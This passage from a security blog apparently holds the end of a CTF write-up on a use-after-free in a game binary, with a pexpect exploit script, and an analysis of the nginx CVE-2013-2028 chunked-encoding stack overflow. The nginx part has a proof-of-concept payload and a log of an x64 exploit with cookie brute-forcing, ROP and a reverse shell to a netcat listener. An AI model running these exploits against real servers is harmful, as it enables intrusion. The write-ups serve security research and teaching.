  obj_1->case3 = (int)case1_3;
  obj_1->str1 = (int)&nLockDoor;
  obj_1->str2 = (int)&unLockDoor;
  obj_1->str3 = (int)&Detach;
  obj_1->str4 = (int)&off_804D094;

Here I have created a struct for that obj, we can clearly see it creates 5 obj which is corresponding to  5 positions with “@”. When navigating the “O” to a position with “@” and press [SPACE] it will be proceeded in switch/case we have seen above:

     case ' ':
        if ( curPos == '@' )
        {
          mvwprintw(v15, 8, 5, "%x %x %x %x", v4, v5);
          wrefresh(v15);
          if ( var_window )
            v4 = var_window->_cury;</code>
          else
            v4 = -1;
          if ( var_window )
            v5 = var_window->_curx;
          else
            v5 = -1;
          do_f_((int)var_window, v15, v9, v4, v5);
          v12 = 1;
        }
        break;

Take a look at function do_f_:

 if ( a3 == '@' )
  {
    for ( i = 0; i <= 5; ++i )
    {
      v8 = *(&gObject_array + i);
      if ( cury - 1 == (char)v8->flag_1 && (char)v8->flag_2 == curx )
      {
        indi = (char)v8->indi;
        break;
      }
    }

First the code will loop through 5 objects and check if the object->flag1 and object->flag2 are correct, if matched it will set current object to that address. Something weird here can be abused: if there is memory with correct flag1 and flag2, the code will blindly accept it as an valid object.
Next part of code is calling the handle function in object with specific parameters:

 switch ( indi )
    {
      case '+':
        result = ((int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD))(*(&gObject_array + i))->handle)(
                   (*(&gObject_array + i))->window,
                   *(&gObject_array + i),
                   a1,
                   a2);
        break;
      case ',':
        result = ((int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD))(*(&gObject_array + i))->handle)(
                   (*(&gObject_array + i))->window,
                   *(&gObject_array + i),
                   a1,
                   a2);
        break;
      case '-':
        result = ((int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD))(*(&gObject_array + i))->handle)(
                   (*(&gObject_array + i))->window,
                   *(&gObject_array + i),
                   a1,
                   a2);
        break;
      case '.':
        result = ((int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD))(*(&gObject_array + i))->handle)(
                   (*(&gObject_array + i))->window,
                   *(&gObject_array + i),
                   a1,
                   a2);
        break;
      case '/':
        result = ((int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD))(*(&gObject_array + i))[2].flag_3)(
                   (*(&gObject_array + i))[1].indi,
                   *(&gObject_array + i),
                   a1,
                   a2);
        break;
      default:
        return result;
    }

So now the time to go to handle function and see what happen there:

   v8 = *(void (__cdecl **)(_DWORD, _DWORD))a2[13];
  v9 = *(void (__cdecl **)(_DWORD, _DWORD))(a2[13] + 4);
  v10 = *(void (__cdecl **)(_DWORD, _DWORD))(a2[13] + 8);
_ch = (char)wgetch(a4);
  switch ( _ch )
  {
    case '2':
      v9(a3, a4);
      break;
    case '3':
      v10(a3, a4);
      break;
    case '1':
      v8(a3, a4);
      break;
    default:
      mvwprintw(a4, 12, 1, "Wrong");
      wrefresh(a4);
      break;
  }

v8,v9,v10 is function pointer case1,case2,case3 to handle user’s choice. Take a quick look at all functions that handle user’s choice, I found the interesting one is all “Detach” functions share the same code that frees the object but not clear the pointer in object_array.
And another bug introduced in binary was out of bounds read/write. I will let u find that one, it makes me confuse a little bit about attack vector and finally I do something like:

1. Free an object to get a “dangling pointer” in object_array (make sure it is not the last one in object_array).
2. Reallocate that pointer with string we can control the content (so we can fool program with fake indi( “+”,”.”,”,”,”/” ) and fake flag1,flag2.
3. Trigger the handle function, when it loops through the object_array it will think our fake object is correct object, then calls the handle function of that object via offset
4. 41414141 ( Kab00m)

To visualize the exploit steps, here is the object_array during exploitation:
0×804d380:
[Door Object Pointer][Rapair Object Pointer][Front Missle Object Pointer][Rare Object Pointer][Rear Object Pointer]

*First we Detach Front Missle Object Pointer so it will become:
0×804d380:
[Door Object Pointer][Rapair Object Pointer][Pointer to Freed memory size 0x34][Rare Missle Object Pointer][Rear Object Pointer]

*Reallocate that memory with Repair Object Comment so it will look like:
[Door Object Pointer][Rapair Object Pointer][Pointer to Content ( AAAAAAAAAAA) ][Rare Missle Object Pointer][Rear Object Pointer]

Of course in exploitation we will replace “AAAA…” with string looks like a correct Rare Object.

*Call Rare Missle Object handle function

Finally, exploit code :

from pexpect import spawn
import time

child = spawn('ssh -p 18562 control@59.9.131.155')
child.expect('password')

child.sendline('control porsche')
#child = spawn("./por")

KEY_UP = '\x1b[A'
KEY_DOWN = '\x1b[B'
KEY_RIGHT = '\x1b[C'
KEY_LEFT = '\x1b[D'

child.expect('Console')

child.send(KEY_RIGHT * 9)
child.send(KEY_DOWN * 2)
child.send(" 3")

child.send(KEY_DOWN)
child.send(KEY_LEFT * 6)
child.send(" 1")
child.sendline("\x2d\x41\x41\x41" +"\x06\x01\x01\x01" + "\x06\x01\x01\x01" + 'AAAA\x6b\x85\x04\x08'+"C"*28+"\x40\x89\x04\x08")

child.send(" ")

child.sendline("echo 'cat /home/admin/StopTheCar'|./PrivilegeEscalation")

child.interact()

Actually, after getting the shell, I got a mini heart attack from organizer since the ReadMe file tells this is 2-steps challenge, it needs another local exploit. My team mate @w00d helped me to retrieve the PrivilegeEscalation binary, and it only does one thing:

int __cdecl sub_804844C()
{
  setreuid(0x3E8u, 0x3E8u);
  return system("/bin/bash");
}

It really a nice challenge to work with, thanks organizer for awesome binaries, thank all you guys from CLGT CTF team :)
See u in next CTF.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Analysis of nginx 1.3.9/1.4.0 stack buffer overflow and x64 exploitation (CVE-2013-2028)

May 21, 2013 by w00d · 1 Comment 

A few days after the release of nginx advisory (CVE-2013-2028), we managed to successfully exploit the vulnerability with a full control over the program flow. However, in order to make it more reliable and useful in real world environment, we still explored several program paths and found some other attack vectors. Since the exploit for Nginx 32-bit is available on Metasploit now, we decide to publish some of our works here. In this post, you will find a quick analysis for the vulnerability and an exploitation for a 64-bit linux server using the stack based overflow attack vector.

The Bug

Based on the patch on nginx.org, there is a code path that leads to a stack based overflow vulnerability, related to 03 different nginx components:

1) The calculation of “chunked size” when someone send a http request with the header: “Transfer-Encoding: chunked”. It is calculated at src/http/ngx_http_parse.c:2011

if (ch >= '0' && ch <= '9') {   ctx->size = ctx->size * 16 + (ch - '0');
  break;
}
c = (u_char) (ch | 0x20);
if (c >= 'a' && c <= 'f') {   ctx->size = ctx->size * 16 + (c - 'a' + 10);
  break;
}

It simply parses the chunked size input as hex and convert it to base of 10. And since ctx->size is defined with size_t, an unsigned type, the value of the variable can be misinterpreted as negative number when casting to signed type, as we will see later.

2) Nginx module when serving static file:

When nginx is setup to serve static file (which is the default setting), ngx_http_static_handler in src/http/modules/ngx_http_static_module.c:49 will be executed when receiving a request.

ngx_http_static_handler will then call ngx_http_discard_request_body at src/http/modules/ngx_http_static_module.c:211.

ngx_http_discard_request_body will then call ngx_http_read_discarded_request_body at src/http/ngx_http_request_body.c:526.

In summary the code path: ngx_http_static_handler->ngx_http_discard_request_body->ngx_http_read_discarded_request_body

ngx_http_read_discarded_request_body is where it gets interesting, we can see a buffer with fixed size is defined at src/http/ngx_http_request_body.c:630 as follows:

static ngx_int_t
ngx_http_read_discarded_request_body(ngx_http_request_t *r)
{
    size_t     size;
    ssize_t    n;
    ngx_int_t  rc;
    ngx_buf_t  b;
    u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];

NGX_HTTP_DISCARD_BUFFER_SIZE is defined as 4096 in src/http/ngx_http_request.h:19

The interesting is at how this buffer is filled at src/http/ngx_http_request_body.c:649 that we shall use later in (3)

size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE);
n = r->connection->recv(r->connection, buffer, size);

3) The state transition when parsing http request

Come back to src/http/ngx_http_request_body.c, before calling ngx_http_read_discarded_request_body, nginx check whether we have a “chunked” type of request, it will then run ngx_http_discard_request_body_filter defined in src/http/ngx_http_request_body.c:680.

ngx_http_discard_request_body_filter will execute ngx_http_parse_chunked which is the code we mentioned in (1). After that, the return value in “rc” is checked with some constant to decide the next move. One of them is particularly very interesting.

if (rc == NGX_AGAIN) {
     /* set amount of data we want to see next time */
     r->headers_in.content_length_n = rb->chunked->length;
     break;
}

Suppose we can set rb->chunked->length as a very large number at (1), and then set rc = NGX_AGAIN at (3), following events will happen:

- r->headers_in.content_length_n is set to negative ( as it is defined with `off_t` which is “a signed integer” type.).

- The function ngx_http_discard_request_body_filter return and the program move to execute ngx_http_read_discarded_request_body. which contains our vulnerable buffer.

- Finally the recv() command is tricked to receive more than 4096 bytes and overflow the buffer on the stack.

There are many ways to set chunked->length, since rb->chunked->length is assigned at the end of ngx_http_parse_chunked function based on the rb->chunked->size that we have a direct control.

switch (state) {
case sw_chunk_start:
	ctx->length = 3 /* "0" LF LF */;
break;
	case sw_chunk_size:
ctx->length = 2 /* LF LF */
              + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);

To make rc = NGX_AGAIN, we realize that for a request nginx makes the first recv with 1024 bytes, so if we send more than 1024 bytes ngx_http_parse_chunked will return with a NGX_AGAIN then when nginx tries to recv again it will be right into our setup.

The payload to overflow the stack buffer is as follows:

- Send http request with a “transfer-encoding: chunked”

- Send a large hexadecimal number to fill the entire 1024 bytes of the first read

- Send > 4096 bytes to overflow the buffer when it try to recv the second times

TL;DR ? Here is the proof of concept for x64

require 'ronin'
tcp_connect(ARGV[0],ARGV[1].to_i) { |s|
    payload = ["GET / HTTP/1.1\r\n",
            "Host: 1337.vnsecurity.net\r\n",
            "Accept: */*\r\n",
            "Transfer-Encoding: chunked\r\n\r\n"].join
    payload << "f"*(1024-payload.length-8) + "0f0f0f0f" #chunked
    payload << "A"*(4096+8) #padding
    payload << "C"*8 #cookie
    s.send(payload, 0)
}

strace output at the other end:

 strace -p 11337 -s 5000 2>&1 | grep recv
recvfrom(3, "GET / HTTP/1.1\r\nHost: 1337.vnsecurity.net\r\nAccept: */*\r\nTransfer-Encoding: chunked\r\n\r\nfff...snip..fff0f0f0f0f", 1024, 0, NULL, NULL) = 1024
recvfrom(3, "AAA..snip..AACCCCCCCC", 18446744069667229461, 0, NULL, NULL) = 4112

Exploitation on x64:

The problem of stack cookie/carnary can be overcome easily by brute-forcing byte by byte. If we send an extra byte and a worker process crashes, it will return nothing thus we know our cookie value is wrong, we try another value until we receive some output.

Then we need to bypass ASLR and DEP. The exploitation for 32-bit in the metasploit module won’t work, since it will bruteforce the libc address and it’s not feasible given the large address space in x64.

We give an exploit that only relies on the binary i.e. we build the ROP gadget from the binary. mprotect address is computed from mmap64 address (in the GOT-table) then use to allocate a writable-executable memory chunked. Then we use some ROP gadgets to copy our shellcode and have it executed by return to it finally.

TL;DR full exploit code could be find here

ruby exp-nginx.rb 1.2.3.4 4321
[+] searching for byte: 1
214
[+] searching for byte: 2
102
[+] searching for byte: 3
232
[+] searching for byte: 4
213
[+] searching for byte: 5
103
[+] searching for byte: 6
151
[+] searching for byte: 7
45
Found cookie: \x00\xd6\x66\xe8\xd5\x67\x97\x2d 8
PRESS ENTER TO GIVE THE SHIT TO THE HOLE AT w.w.w.w 4000
1120 connections

At w.w.w.w

nc -lvvv 4000
Connection from 1.2.3.4 port 4000 [tcp/*] accepted
uname -a
Linux ip-10-80-253-191 3.2.0-40-virtual #64-Ubuntu SMP Mon Mar 25 21:42:18 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),110(netdev),111(admin)
ps aux | grep nginx
ubuntu    2920  0.1  0.0  13920   668 ?        Ss   15:11   0:01 nginx: master process ./sbin/nginx
ubuntu    5037  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
ubuntu    5039  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
ubuntu    5041  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process

Reliable exploitation

There are some reasons that the above exploitation/technique may not work in practice:

1) Nginx uses non-blocking recv(). If we can’t send enough data to overwrite the return address/cookie the exploit will fail. This is mostly the case since the normal server will be loaded with requests from different user.

2) Our analysis here is for the default setting of nginx, the code path can be very different with another setting thus making the exploit somewhat useless.

3) A blind attack is difficult without the knowledge of the binary / OS at the remote server. For 32-bit OS, one may further bruteforce the “write” address in the code space in order to leak information but It will still be unreliable due to the unknown sockfd and will fail for PIE.

Trying to make this more practical in real world environments, we actually found another attack vector which is more reliable and worked on several nginx settings. However, we will keep it for another post.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

« Previous PageNext Page »